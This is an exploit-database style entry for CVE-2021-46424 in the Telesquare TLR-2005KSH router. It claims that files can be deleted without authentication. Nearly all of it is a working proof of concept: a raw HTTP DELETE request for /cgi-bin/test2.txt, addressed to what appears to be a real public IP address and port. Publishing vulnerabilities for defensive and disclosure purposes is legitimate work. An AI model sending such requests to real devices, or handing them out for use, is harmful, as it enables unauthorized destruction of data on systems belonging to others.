TLR-2005KSH - Arbitrary File Delete

# Exploit Title: TLR-2005KSH - Arbitrary File Delete
# Date: 2022-05-11
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: 1.0.0
# Vendor home page : http://telesquare.co.kr/
# Authentication Required: No
# Tested on: Windows
# CVE: CVE-2021-46424

# Proof-of-Concept
# Request

DELETE /cgi-bin/test2.txt HTTP/1.1
Host: 220.89.223.215:8083
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close